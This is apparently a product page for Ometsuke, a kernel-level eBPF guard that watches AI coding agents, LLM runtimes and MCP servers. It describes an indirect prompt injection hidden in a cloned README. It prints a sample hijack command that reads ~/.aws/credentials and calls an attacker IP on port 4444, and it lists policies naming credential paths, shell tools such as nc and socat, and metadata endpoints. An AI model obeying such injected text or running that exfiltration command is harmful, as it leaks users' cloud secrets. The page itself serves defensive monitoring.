AI-Agent Ring 0 Guard
Automatic Ring 0 discovery for Claude, Codex, Cursor, Ollama and MCP runtimes with 8 curated AI guard policies.
Interactive Isometric Architecture Simulators
AI Agent Prompt Injection → Ring 0 eBPF Catch → Human Seal
Watch why prompt guardrails fail in Ring 3 while Tetragon eBPF + Human Seals hold at Ring 0.
Indirect prompt injection hijacks the coding agent
A developer AI agent clones an untrusted repo whose README contains hidden instructions. Text-level prompt filters fail; the agent spawns /bin/sh inside Ring 3.
parent: coding-agent (pid 4182)
child: /bin/sh -c "python3 -c 'open("~/.aws/credentials")'"
&& curl 198.51.100.77:4444
guard: RING 3 BYPASSED (hidden prompt inside cloned README.md)Autonomous coding agents, LLM runtimes, and MCP tool bridges run in Ring 3 alongside user credentials, container sockets, and cloud metadata endpoints. Text-level prompt filters fail against indirect prompt injection. Ometsuke enforces an independent Ring 0 kernel boundary via Cilium Tetragon v1.8.0.
#Automatic Ring 0 Discovery (GET /api/v1/ai-agents)
Ometsuke continuously classifies running AI runtimes from kernel exec and kprobe lineage (including child shells spawned under an agent process):
- Coding agents: Claude Code, OpenAI Codex, Cursor Agent, Aider, OpenCode, Goose, OpenClaw
- LLM runtimes: Ollama, vLLM, LiteLLM, Triton, llama-server, TGI
- MCP servers & orchestrators:
mcp-stdio,mcp-server, LangGraph, CrewAI, AutoGen, LangChain
Every observed argument string is sanitized before storage and presentation. High-risk signals (host-credential-access, cloud-imds-ssrf, container-socket-access, mcp-config-write, child-shell-or-net-tool, outbound-tcp-egress, gpu-or-model-weight-touch) roll up onto the parent agent's risk score (0–100) and link directly to a sealed forensic SIGSTOP freeze action.
#Curated Starter Pack: ai-agent-runtime-guard (8 Policies)
All 8 policies ship in monitor mode first and validate against the pinned Tetragon v1.8.0 schema:
| Policy ID | Kernel Hook | Protection Scope |
|---|---|---|
ai-agent-credential-read | security_file_open | ~/.aws/credentials, ~/.ssh/id_*, ~/.kube/config, .env, LLM keys |
ai-agent-shell-escape | security_bprm_check | nc, ncat, socat, chisel, ngrok, cloudflared |
ai-agent-imds-ssrf | tcp_connect | Cloud metadata IPs (169.254.169.254, 169.254.170.2, 100.100.100.200) |
ai-agent-docker-sock | security_file_open | docker.sock, containerd.sock, crio.sock, podman.sock |
ai-agent-model-weight-tamper | security_file_permission | Writes to .safetensors, .gguf, .onnx, .ckpt, .pt |
ai-agent-gpu-hijack | security_file_open | /dev/nvidia*, /dev/kfd, /dev/dri/renderD opened from /tmp or /dev/shm |
ai-agent-mcp-config-tamper | security_file_permission | Writes to mcp.json, claude_desktop_config.json, .cursor/mcp.json, .codex/config.toml |
ai-agent-prompt-exfil-egress | tcp_connect | Non-standard egress ports (NotDPort 443/80/53) from curl, wget, python3, node |
Pair the starter pack with the curated decision graph ai-agent-hijack (graphs/catalog/ai-agent-hijack.yaml) and inspect live posture from external AI SOC tools via the read-only MCP tool ai_agents_inspect.